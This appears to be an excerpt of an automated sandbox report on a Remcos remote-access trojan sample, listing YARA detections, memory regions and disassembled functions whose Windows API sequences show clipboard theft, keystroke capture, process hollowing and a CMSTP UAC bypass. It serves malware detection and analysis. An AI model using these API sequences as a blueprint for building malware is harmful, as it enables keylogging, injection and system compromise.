                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,5_2_004072B5
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_00415B5E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,0_2_00409B10
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR

                        E-Banking Fraud

                        barindex
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                        Spam, unwanted Advertisements and Ransom Demands

                        barindex
                        Contains functionalty to change the wallpaper
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041BD82 SystemParametersInfoW,0_2_0041BD82

                        System Summary

                        barindex
                        Malicious sample detected (through community Yara rule)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041742B GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,0_2_0041742B
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041AECC OpenProcess,NtSuspendProcess,CloseHandle,0_2_0041AECC
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041AEF8 OpenProcess,NtResumeProcess,CloseHandle,0_2_0041AEF8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,3_2_0040DD85
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00401806 NtdllDefWindowProc_W,3_2_00401806
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004018C0 NtdllDefWindowProc_W,3_2_004018C0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004016FD NtdllDefWindowProc_A,4_2_004016FD
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004017B7 NtdllDefWindowProc_A,4_2_004017B7
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00402CAC NtdllDefWindowProc_A,5_2_00402CAC
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00402D66 NtdllDefWindowProc_A,5_2_00402D66
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00415A51 ExitWindowsEx,LoadLibraryA,GetProcAddress,0_2_00415A51
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043D04B0_2_0043D04B
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0042707E0_2_0042707E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041301D0_2_0041301D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004410300_2_00441030
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004531100_2_00453110
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004271B80_2_004271B8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041D27C0_2_0041D27C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004522E20_2_004522E2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043D2A80_2_0043D2A8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004373600_2_00437360
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004363BA0_2_004363BA
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0042645F0_2_0042645F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004315820_2_00431582
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043672C0_2_0043672C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041E7EA0_2_0041E7EA
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0044C9490_2_0044C949
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004269D60_2_004269D6
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004369D60_2_004369D6
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043CBED0_2_0043CBED
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00432C540_2_00432C54
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00436C9D0_2_00436C9D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0043CE1C0_2_0043CE1C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00436F580_2_00436F58
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00434F320_2_00434F32
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_100171940_2_10017194
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_1000B5C10_2_1000B5C1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044B0403_2_0044B040
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0043610D3_2_0043610D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004473103_2_00447310
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044A4903_2_0044A490
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040755A3_2_0040755A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0043C5603_2_0043C560
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044B6103_2_0044B610
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044D6C03_2_0044D6C0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004476F03_2_004476F0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044B8703_2_0044B870
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044081D3_2_0044081D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004149573_2_00414957
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004079EE3_2_004079EE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00407AEB3_2_00407AEB
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044AA803_2_0044AA80
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00412AA93_2_00412AA9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00404B743_2_00404B74
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00404B033_2_00404B03
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044BBD83_2_0044BBD8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00404BE53_2_00404BE5
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00404C763_2_00404C76
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00415CFE3_2_00415CFE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00416D723_2_00416D72
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00446D303_2_00446D30
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00446D8B3_2_00446D8B
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00406E8F3_2_00406E8F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004050384_2_00405038
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0041208C4_2_0041208C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004050A94_2_004050A9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0040511A4_2_0040511A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0043C13A4_2_0043C13A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004051AB4_2_004051AB
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004493004_2_00449300
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0040D3224_2_0040D322
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0044A4F04_2_0044A4F0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0043A5AB4_2_0043A5AB
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004136314_2_00413631
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004466904_2_00446690
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0044A7304_2_0044A730
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004398D84_2_004398D8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_004498E04_2_004498E0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0044A8864_2_0044A886
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0043DA094_2_0043DA09
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00438D5E4_2_00438D5E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00449ED04_2_00449ED0
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0041FE834_2_0041FE83
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00430F544_2_00430F54
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004050C25_2_004050C2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004014AB5_2_004014AB
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004051335_2_00405133
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004051A45_2_004051A4
